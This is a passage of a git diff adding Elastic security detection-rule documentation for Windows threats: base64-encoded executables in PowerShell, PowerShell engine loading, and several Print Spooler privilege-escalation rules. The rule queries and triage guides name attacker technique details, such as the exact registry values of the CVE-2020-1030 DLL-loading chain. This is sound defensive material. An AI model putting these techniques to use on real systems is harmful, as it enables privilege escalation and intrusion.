+*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Suspicious Portable Executable Encoded in Powershell Script* + + +This alert indicates PowerShell Script Block Logging captured script content that contains a base64-encoded Portable Executable (PE) header pattern, suggesting an embedded Windows binary payload. This technique is commonly used to stage executables for in-memory loading or later execution while minimizing on-disk artifacts. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Capture and reconstruct the full script content: + - Review `powershell.file.script_block_text` in full to identify the encoded blob boundaries and any surrounding helper logic (string concatenation, chunking, decryption, decompression, or obfuscation). + - If `powershell.file.script_block_id` is present, collect all related events for that ID and use `powershell.sequence` and `powershell.total` to reconstruct the complete script when content is split across multiple records. + - Confirm reconstruction completeness by ensuring the sequence range is consistent with `powershell.total` and that the combined content is coherent. + - Use `powershell.file.script_block_length` to help prioritize unusually large script blocks that are more likely to contain full payloads or staged components. +- Determine the script origin and execution context: + - Use `user.name`, `user.domain`, and `user.id` to identify the initiating account and whether this activity is expected for that user (approved automation vs. unusual interactive activity). + - Use `host.name` and `host.id` to identify the affected asset, its owner/role, and whether PowerShell automation is typical for this host. + - If `file.path`, `file.directory`, or `file.name` are present, treat the alert as file-sourced script execution: + - Validate whether the path and name align with approved administrative tooling and distribution locations. + - Prioritize investigation when scripts are sourced from user-writable locations, temporary directories, or uncommon paths for your environment. +- Identify likely payload handling behavior within the script: + - Look for logic that transforms the encoded content into executable bytes and how it is consumed (written to disk, loaded as an assembly, reflectively invoked, or mapped into memory). + - Note any secondary behaviors in the same script block that increase risk, such as staged downloads, persistence-related actions, or attempts to reduce visibility. + - Identify whether the script constructs multiple encoded blobs, and document which blob is ultimately used for execution. +- Scope the activity using alert pivots: + - Search for additional script block events for the same `host.id` and `user.id` around `@timestamp` to identify lead-up actions and follow-on behavior. + - Search across hosts for the same `powershell.file.script_block_text` patterns (the encoded header and any unique strings nearby) to identify other potentially affected systems. + - If a script file is indicated by `file.path`/`file.name`, search for the same path/name across your environment to determine distribution and reuse. +- Correlate with adjacent telemetry (if available): + - Pivot on `host.id`/`host.name` and `@timestamp` into process telemetry to identify the PowerShell session and any processes that appear shortly after the script ran, which may indicate payload execution outcomes. + - Pivot on `host.id`/`host.name` and `@timestamp` into network telemetry to identify outbound connections that could indicate payload retrieval or command-and-control activity shortly before or after script execution. + - Review authentication activity for the same `user.id` around the alert time to identify unusual logons (unexpected host, timing, or access pattern) that could explain how the execution context was obtained. +- Analyze the embedded payload in an isolated workflow (when permitted): + - Decode the base64 content and validate whether it forms a legitimate PE. + - Derive stable indicators (hashes, unique strings, and high-level metadata) and use them to widen the scope across endpoints and historical telemetry. + - Preserve decoded artifacts and analysis notes according to your incident handling and evidence retention procedures. + + +*False positive analysis* + + +- Approved administrative or deployment automation that embeds executables in PowerShell scripts for distribution in tightly controlled environments. +- Vendor-provided installers, updaters, or management tooling that stages binaries through PowerShell as part of legitimate maintenance activity. +- Authorized security testing or adversary emulation that intentionally uses embedded payloads or in-memory loading techniques. +- False positives are more likely when `file.path` points to known software distribution locations and the executing `user.id` is an approved automation account; validate against change records and expected tooling. + + +*Response and remediation* + + +- If the activity is unexpected or malicious: + - Contain the affected host(s) based on criticality to prevent further execution or lateral movement. + - Preserve evidence by saving the full reconstructed script content (using `powershell.file.script_block_id` plus all fragments, if split) and recording the associated `@timestamp`, `host.id`, `host.name`, and `user.id` for timeline reconstruction. +- Assess scope and impact: + - Hunt for the same script patterns across other hosts and users, and expand scoping using any indicators derived from payload analysis. + - Review the initiating account for signs of compromise; apply credential hygiene actions per policy (reset credentials, revoke sessions, and review access). +- Eradicate and recover: + - Remove or remediate the script source indicated by `file.path` (if present) and any persistence mechanisms identified during triage (for example, suspicious or newly introduced services). + - If a PE payload is confirmed, follow malware incident procedures to determine whether host reimaging or deeper forensic review is required. +- Post-incident improvements: + - Review PowerShell governance for the affected population (script approval processes, least privilege, and monitoring of script block content) to reduce recurrence. + - Document validated benign patterns and trusted automation paths to streamline future triage and reduce alert fatigue. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + TVqQAAMAAAAEAAAA + ) and not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-powershell-engine-imageload.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-powershell-engine-imageload.asciidoc new file mode 100644 index 0000000000..ba8f5f2a93 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-powershell-engine-imageload.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-suspicious-powershell-engine-imageload]] +=== Suspicious PowerShell Engine ImageLoad + +Identifies the PowerShell engine being invoked by unexpected processes. Rather than executing PowerShell functionality with powershell.exe, some attackers do this to operate more stealthily. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.library-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-security-labs-steps-through-the-r77-rootkit + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: New Terms +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious PowerShell Engine ImageLoad* + + +PowerShell is one of the main tools system administrators use for automation, report routines, and other tasks. This makes it available for use in various environments, and creates an attractive way for attackers to execute code. + +Attackers can use PowerShell without having to execute `PowerShell.exe` directly. This technique, often called "PowerShell without PowerShell," works by using the underlying System.Management.Automation namespace and can bypass application allowlisting and PowerShell security features. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate abnormal behaviors observed by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Retrieve the implementation (DLL, executable, etc.) and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity can happen legitimately. Some vendors have their own PowerShell implementations that are shipped with some products. These benign true positives (B-TPs) can be added as exceptions if necessary after analysis. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:library and + dll.name:("System.Management.Automation.dll" or "System.Management.Automation.ni.dll") and + not ( + process.code_signature.subject_name:( + "Microsoft Corporation" or + "Microsoft Dynamic Code Publisher" or + "Microsoft Windows" + ) and process.code_signature.trusted:true and not process.name.caseless:"regsvr32.exe" + ) and + not ( + process.executable:(C\:\\Program*Files*\(x86\)\\*.exe or C\:\\Program*Files\\*.exe) and + process.code_signature.trusted:true + ) and + not ( + process.executable: C\:\\Windows\\Lenovo\\*.exe and process.code_signature.subject_name:"Lenovo" and + process.code_signature.trusted:true + ) and + not ( + process.executable: C\:\\Windows\\AdminArsenal\\PDQInventory-Scanner\\service-*\\exec\\PDQInventoryScanner.exe and + process.code_signature.subject_name:"PDQ.com Corporation" and + process.code_signature.trusted:true + ) and + not ( + process.name: (_is*.exe or "DellInstaller_x64.exe") and + process.code_signature.subject_name:("Dell Technologies Inc." or "Dell Inc" or "Dell Inc.") and + process.code_signature.trusted:true + ) and + not ( + process.executable: C\:\\ProgramData\\chocolatey\\* and + process.code_signature.subject_name:("Chocolatey Software, Inc." or "Chocolatey Software, Inc") and + process.code_signature.trusted:true + ) and + not ( + process.name: "Docker Desktop Installer.exe" and + process.code_signature.subject_name:"Docker Inc" and + process.code_signature.trusted:true + ) and + not process.executable : ( + "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" or + "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-print-spooler-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-print-spooler-file-deletion.asciidoc new file mode 100644 index 0000000000..5c93ee3809 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-print-spooler-file-deletion.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-suspicious-print-spooler-file-deletion]] +=== Suspicious Print Spooler File Deletion + +Detects deletion of print driver files by an unusual process. This may indicate a clean up attempt post successful privilege escalation via Print Spooler service related vulnerabilities. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Print Spooler File Deletion* + + +The Print Spooler service in Windows manages print jobs and interactions with printers. Adversaries exploit vulnerabilities in this service to escalate privileges, often deleting print driver files to cover their tracks. The detection rule identifies unusual deletions of these files by processes other than legitimate ones, signaling potential misuse and aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path and name of the deleted DLL file within "C:\Windows\System32\spool\drivers\x64\3\". +- Examine the process responsible for the deletion by checking the process name and its parent process to determine if it is a known legitimate process or a potentially malicious one. +- Investigate the timeline of events around the deletion to identify any preceding or subsequent suspicious activities, such as privilege escalation attempts or unauthorized access. +- Check for any recent vulnerabilities or exploits related to the Print Spooler service that might have been leveraged in this context. +- Correlate the event with other security logs and alerts from data sources like Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context and confirm the presence of malicious activity. +- Assess the affected system for any signs of compromise or persistence mechanisms that may have been established following the deletion event. + + +*False positive analysis* + + +- System maintenance or updates may trigger legitimate deletions of print driver files. Monitor scheduled maintenance activities and correlate them with detected events to confirm legitimacy. +- Third-party printer management software might delete or update driver files as part of its normal operation. Identify and whitelist these processes if they are verified as non-threatening. +- Custom scripts or administrative tools used by IT staff for printer management could inadvertently match the rule's criteria. Review and document these tools, then create exceptions for known safe operations. +- Automated deployment tools that update or clean up printer drivers across the network might cause false positives. Ensure these tools are recognized and excluded from the detection rule if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as responsible for the deletion of print driver files, ensuring they are not legitimate system processes. +- Restore the deleted print driver files from a known good backup to ensure the Print Spooler service functions correctly. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and revoke any unauthorized privilege escalations. +- Apply the latest security patches and updates to the Print Spooler service and related components to mitigate known vulnerabilities. +- Monitor the affected system and network for any signs of further suspicious activity, focusing on similar file deletion patterns or privilege escalation attempts. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-23-setup[Sysmon Event ID 23 - File Delete] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "deletion" and + file.extension : "dll" and file.path : "?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.dll" and + not process.name : ("spoolsv.exe", "dllhost.exe", "explorer.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-print-spooler-point-and-print-dll.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-print-spooler-point-and-print-dll.asciidoc new file mode 100644 index 0000000000..563b296eab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-print-spooler-point-and-print-dll.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-suspicious-print-spooler-point-and-print-dll]] +=== Suspicious Print Spooler Point and Print DLL + +Detects attempts to exploit a privilege escalation vulnerability (CVE-2020-1030) related to the print spooler service. Exploitation involves chaining multiple primitives to load an arbitrary DLL into the print spooler process running as SYSTEM. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.accenture.com/us-en/blogs/cyber-defense/discovering-exploiting-shutting-down-dangerous-windows-print-spooler-vulnerability +* https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Privilege%20Escalation/privesc_sysmon_cve_20201030_spooler.evtx +* https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1030 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Vuln: CVE-2020-1030 + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Print Spooler Point and Print DLL* + + + +*Possible investigation steps* + + +- Do the source registry events describe one printer object? + - Why: sequence alerts joined only on `host.id` can omit stage-specific registry and writer fields; recover member events before interpreting the grouped alert. + - Focus: compare the printer segment in `registry.path`, `registry.value`, and `registry.data.strings`; keep `user.id` and any `process.entity_id` pivots. + - Implication: escalate when one printer key sets SpoolDirectory to "C:\Windows\System32\spool\drivers\x64\4" then CopyFiles\Payload\Module under that path; lower concern only when recovery breaks the same-printer chain or value match. + +- Which process and user wrote the values, and does context fit printer administration? + - Focus: source-event writer context: `user.id`, `process.executable`, `process.command_line`, `process.parent.executable`, and recovered `process.entity_id`. + - Implication: escalate when reg.exe, rundll32.exe, a scripting host, a user-writable binary, or an unexpected interactive user wrote the values; lower concern when writer identity, parentage, and service context match the same confirmed driver deployment. + +- What DLL path did Module name, and was it staged? + - Focus: recovered Module `registry.data.strings`; if file telemetry exists, exact-path `file.path`, `file.Ext.original.path`, `file.origin_url`, and `file.Ext.windows.zone_identifier`. Missing file telemetry leaves staging unresolved, not benign. + - Implication: escalate when the path names a newly written, renamed, internet-marked, or script-staged DLL in the spool drivers tree; lower concern when the exact path is a stable signed printer-driver package tied to the recovered printer object and writer workflow. + +- Did Print Spooler or print isolation consume the module? + - Why: CVE-2020-1030 abuse becomes higher impact when the CopyFiles\Payload\Module value is loaded or spooler restart behavior forces the changed configuration into effect. + - Focus: in library or process telemetry, check spoolsv.exe or PrintIsolationHost.exe loading the recovered path with `dll.path`, `dll.hash.sha256`, `dll.code_signature.subject_name`, and `dll.code_signature.trusted`. !{investigate{"description":"","label":"Spooler or print isolation loads on the host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"spoolsv.exe","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"library","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.name","queryType":"phrase","value":"PrintIsolationHost.exe","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: pivot on the recovered Module path because the sequence alert may not preserve that value; spooler termination or restart around the writes can be a force-load clue. + - Implication: escalate immediately when spooler loads the recovered DLL, restarts unexpectedly, or shows abnormal child activity soon after the writes; absent load telemetry does not clear a matching registry chain. + +- If suspicious or unresolved, does the pattern appear beyond this alert? + - Focus: related alerts for `host.id`, then exact matches for recovered `registry.data.strings`, printer `registry.path`, or `dll.hash.sha256` across other hosts when available. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when the same module path, DLL hash, printer-object pattern, or spooler-abuse alert appears on unrelated hosts; keep scope local when the pattern stays confined to the same confirmed driver workflow. + +- What disposition do registry chain, writer, payload, spooler, and scope evidence support? + - Focus: decide from same-printer registry stages, writer identity, DLL staging/load, workflow fit, and scope: escalate suspicious or unresolved chains, close only when telemetry cleanly aligns with one signed driver or print-management workflow, and preserve artifacts when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Recognized signed printer-driver installation, print-management, imaging, or endpoint-build workflows can update SpoolDirectory and CopyFiles\Payload\Module or stage spool-directory drivers. Confirm recovered `registry.path`, exact `registry.data.strings`, stable signed DLL identity, writer `process.executable`, parent workflow, current-case `host.id`, and any spooler follow-on all point to the same driver or management workflow without ad hoc scripting, unsigned payloads, or suspicious child processes. Change or deployment records may corroborate; prior-alert recurrence can scope exceptions but must not substitute for current-case telemetry. +- Build exceptions only from the minimum confirmed workflow pattern: `host.id`, recovered printer object from `registry.path`, exact recovered Module path, stable DLL identity, and the confirmed writer or deployment process. Avoid exceptions on the spool drivers directory alone, the printer name alone, or spoolsv.exe activity alone. + + +*Response and remediation* + + +- If confirmed benign, record `host.id`, the recovered printer object, exact Module path, stable DLL identity, and deployment workflow that justified closure before reversing temporary containment. Create an exception only from that exact confirmed workflow pattern; use prior alerts to narrow scope, not to prove benignity. +- If suspicious but unconfirmed, preserve the Timeline member events, exact `registry.path` and `registry.data.strings`, exported affected registry keys, recovered DLL file if present, file or library hashes, writer `process.executable`, user context, and any spoolsv.exe or PrintIsolationHost.exe follow-on evidence before containment. Apply reversible containment first, such as restricting remote printer administration, disabling Point and Print exposure, or pausing nonessential printing on the affected host. +- If confirmed malicious, preserve the DLL if feasible, export the affected printer keys, and retain related spoolsv.exe or PrintIsolationHost.exe process and library telemetry before containment. Then use endpoint response to isolate the host when registry-chain, payload, or spooler-side evidence shows malicious activity and host criticality allows it. Review other hosts for the same recovered DLL path, DLL hash, or printer-object pattern before stopping spoolsv.exe, deleting the DLL, restoring registry values, and removing the mechanism that staged the payload. +- Post-incident hardening: apply the Microsoft fix for CVE-2020-1030, restrict Point and Print and printer-driver installation rights where feasible, disable the Print Spooler service on hosts that do not need it, retain registry, file, and library telemetry for spooler abuse, and document confirmed printer-object and DLL patterns for future triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=30s +[registry where host.os.type == "windows" and + registry.value : "SpoolDirectory" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\*\\SpoolDirectory" and + registry.data.strings : "C:\\Windows\\System32\\spool\\drivers\\x64\\4"] +[registry where host.os.type == "windows" and + registry.value : "Module" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\*\\CopyFiles\\Payload\\Module" and + registry.data.strings : "C:\\Windows\\System32\\spool\\drivers\\x64\\4\\*"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-print-spooler-spl-file-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-print-spooler-spl-file-created.asciidoc new file mode 100644 index 0000000000..12e4d24f87 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-print-spooler-spl-file-created.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-suspicious-print-spooler-spl-file-created]] +=== Suspicious Print Spooler SPL File Created + +Detects attempts to exploit privilege escalation vulnerabilities related to the Print Spooler service including CVE-2020-1048 and CVE-2020-1337. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://safebreach.com/Post/How-we-bypassed-CVE-2020-1048-Patch-and-got-CVE-2020-1337 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Noise: Medium +* Performance: Normal +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery +* Vuln: CVE-2020-1048 +* Vuln: CVE-2020-1337 + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Print Spooler SPL File Created* + + +Print Spooler is a Windows service enabled by default in all Windows clients and servers. The service manages print jobs by loading printer drivers, receiving files to be printed, queuing them, scheduling, etc. + +The Print Spooler service has some known vulnerabilities that attackers can abuse to escalate privileges to SYSTEM, like CVE-2020-1048 and CVE-2020-1337. This rule looks for unusual processes writing SPL files to the location `?:\Windows\System32\spool\PRINTERS\`, which is an essential step in exploiting these vulnerabilities. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in 